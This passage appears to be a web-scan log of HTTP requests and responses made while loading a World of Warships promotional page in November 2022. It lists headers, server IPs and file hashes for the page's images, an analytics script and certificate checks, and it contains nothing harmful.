Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 60180
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "b9182e13a30e8408117ea8c4383bd2e7"
x-amz-request-id: tx0000000000000016b606e-00637ca118-1bfc3e68-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc10
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 512 x 436, 8-bit colormap, non-interlaced\012- data
Size:   60180
Md5:    b9182e13a30e8408117ea8c4383bd2e7
Sha1:   4964d7625738a00496d6ff495bf8f4c56c738c64
Sha256: d213e73d4cc6d18a1e37ee13439919b46fd10f4b8e97ad13fe4333992801ebd4
                                        
                                            GET /glows-34505/src/images/ship-luis.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 67245
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "fd8388d631a2faf5d87e73a4c6aab79b"
x-amz-request-id: tx000000000000004c1da17-00637ca118-1c8e9cf0-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc10
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 512 x 436, 8-bit colormap, non-interlaced\012- data
Size:   67245
Md5:    fd8388d631a2faf5d87e73a4c6aab79b
Sha1:   fb194c3ec881e98c1b5fc5cfee2899316ebfc86b
Sha256: 1f78488eb95a277f03cec5474bfb15ef822ce19435bc7efd1f37cbd4cb339a6b
                                        
                                            GET /glows-34505/src/images/credits.png HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/png
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 60960
last-modified: Tue, 22 Nov 2022 10:14:28 GMT
etag: "f245ac5b8cd1d7f859b96690b4a220d1"
x-amz-request-id: tx00000000000000129a883-00637ca118-1cdfff90-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:02+00:00
x-id: sto5-up-gc12
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PNG image data, 512 x 436, 8-bit colormap, non-interlaced\012- data
Size:   60960
Md5:    f245ac5b8cd1d7f859b96690b4a220d1
Sha1:   94b1eaa00d2de2928668a89386b425c754e8172f
Sha256: 4cec7b959abf0add7e91cfef60f074a6f8fc8d13470721d121d007f1c3775d30
                                        
                                            GET /glows-34505/src/video/video_bg_poster.jpg HTTP/1.1 
Host: promo-cdn.worldofwarships.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         92.223.97.97
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:53 GMT
content-length: 1084614
last-modified: Tue, 22 Nov 2022 10:14:27 GMT
etag: "902cd1abfd666f6c0f58461a864305fc"
x-amz-request-id: tx000000000000000152a32-00637ca118-1cf7ee3c-ed1
access-control-allow-origin: *
cache: HIT
x-cached-since: 2022-11-26T10:15:03+00:00
x-id: sto5-up-gc12
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1920x1080, components 3\012- data
Size:   1084614
Md5:    902cd1abfd666f6c0f58461a864305fc
Sha1:   24f6b660a15b03b886218c041af0fc1a20e15bfc
Sha256: bf04190956fba52b0c074ed9246e904f4ee68772b4792385c6ea75a15b7e10fb
                                        
                                            GET /assets/campaigns/static/campaign_data_gtm_sender.js HTTP/1.1 
Host: tenor.wargaming.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://promo.worldofwarships.eu/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         92.223.21.23
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: openresty
Date: Mon, 28 Nov 2022 06:50:53 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=200
Last-Modified: Wed, 09 Nov 2022 09:49:54 GMT
Vary: Accept-Encoding, Accept-Encoding
ETag: W/"636b77c2-4ced"
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (7249)
Size:   6591
Md5:    51b44a9f232d5cec869a12623ae6dbfd
Sha1:   19305e6be93c7944f3e4cd68d778a73bf4a03031
Sha256: 32d957fdbd3debc51e0df55c6af4dbf747c501d19fafdd75731cb9a02cc68107
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 2315
Cache-Control: max-age=86824
Date: Mon, 28 Nov 2022 06:50:53 GMT
Etag: "6383016a-116"
Expires: Tue, 29 Nov 2022 06:57:57 GMT
Last-Modified: Sun, 27 Nov 2022 06:19:22 GMT
Server: ECS (ska/F70A)
X-Cache: HIT
Content-Length: 278

                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 2315